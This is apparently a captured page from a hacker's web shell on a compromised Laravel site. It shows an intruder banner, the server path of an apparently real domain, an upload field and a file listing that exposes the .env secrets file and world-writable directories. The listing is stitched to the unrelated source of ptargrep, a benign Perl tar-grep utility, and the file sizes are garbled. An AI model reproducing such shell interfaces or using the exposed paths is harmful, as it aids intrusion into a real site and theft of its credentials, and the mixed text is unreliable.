I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
#!/usr/bin/perl
eval 'exec /usr/bin/perl -S $0 ${1+"$@"}'
if $running_under_some_shell;
#!/usr/bin/perl
##############################################################################
# Tool for using regular expressions against the contents of files in a tar
# archive. See 'ptargrep --help' for more documentation.
#
BEGIN { pop @INC if $INC[-1] eq '.' }
use strict;
use warnings;
use Pod::Usage qw(pod2usage);
use Getopt::Long qw(GetOptions);
use Archive::Tar qw();
use File::Path qw(mkpath);
my(%opt, $pattern);
if(!GetOptions(\%opt,
'basename|b',
'ignore-case|i',
'list-only|l',
'verbose|v',
'help|?',
)) {
pod2usage(-exitval => 1, -verbose => 0);
}
pod2usage(-exitstatus => 0, -verbose => 2) if $opt{help};
pod2usage(-exitval => 1, -verbose => 0,
-message => "No pattern specified",
) unless @ARGV;
make_pattern( shift(@ARGV) );
pod2usage(-exitval => 1, -verbose => 0,
-message => "No tar files specified",
) unless @ARGV;
process_archive($_) foreach @ARGV;
exit 0;
sub make_pattern {
my($pat) = @_;
if($opt{'ignore-case'}) {
$pattern = qr{(?im)$pat};
}
else {
$pattern = qr{(?m)$pat};
}
}
sub process_archive {
my($filename) = @_;
_log("Processing archive: $filename");
my $next = Archive::Tar->iter($filename);
while( my $f = $next->() ) {
next unless $f->is_file;
match_file($f) if $f->size > 0;
}
}
sub match_file {
my($f) = @_;
my $path = $f->name;
my $prefix = $f->prefix;
if (defined $prefix) {
$path = File::Spec->catfile($prefix, $path);
}
_log("filename: %s (%d bytes)", $path, $f->size);
my $body = $f->get_content();
if($body !~ $pattern) {
_log(" no match");
return;
}
if($opt{'list-only'}) {
print $path, "\n";
return;
}
save_file($path, $body);
}
sub save_file {
my($path, $body) = @_;
_log(" found match - extracting");
my($fh);
my($dir, $file) = $path =~ m{\A(?:(.*)/)?([^/]+)\z};
if($dir and not $opt{basename}) {
_log(" writing to $dir/$file");
$dir =~ s{\A/}{./};
mkpath($dir) unless -d $dir;
open $fh, '>', "$dir/$file" or die "open($dir/$file): $!";
}
else {
_log(" writing to ./$file");
open $fh, '>', $file or die "open($file): $!";
}
print $fh $body;
close($fh);
}
sub _log {
return unless $opt{verbose};
my($format, @args) = @_;
warn sprintf($format, @args) . "\n";
}
__END__
=head1 NAME
ptargrep - Apply pattern matching to the contents of files in a tar archive
=head1 SYNOPSIS
ptargrep [options] ...
Options:
--basename|-b ignore directory paths from archive
--ignore-case|-i do case-insensitive pattern matching
--list-only|-l list matching filenames rather than extracting matches
--verbose|-v write debugging message to STDERR
--help|-? detailed help message
=head1 DESCRIPTION
This utility allows you to apply pattern matching to B of files
contained in a tar archive. You might use this to identify all files in an
archive which contain lines matching the specified pattern and either print out
the pathnames or extract the files.
The pattern will be used as a Perl regular expression (as opposed to a simple
grep regex).
Multiple tar archive filenames can be specified - they will each be processed
in turn.
=head1 OPTIONS
=over 4
=item B<--basename> (alias -b)
When matching files are extracted, ignore the directory path from the archive
and write to the current directory using the basename of the file from the
archive. Beware: if two matching files in the archive have the same basename,
the second file extracted will overwrite the first.
=item B<--ignore-case> (alias -i)
Make pattern matching case-insensitive.
=item B<--list-only> (alias -l)
Print the pathname of each matching file from the archive to STDOUT. Without
this option, the default behaviour is to extract each matching file.
=item B<--verbose> (alias -v)
Log debugging info to STDERR.
=item B<--help> (alias -?)
Display this documentation.
=back
=head1 COPYRIGHT
Copyright 2010 Grant McLean Egrantm@cpan.orgE
This program is free software; you can redistribute it and/or modify it
under the same terms as Perl itself.
=cut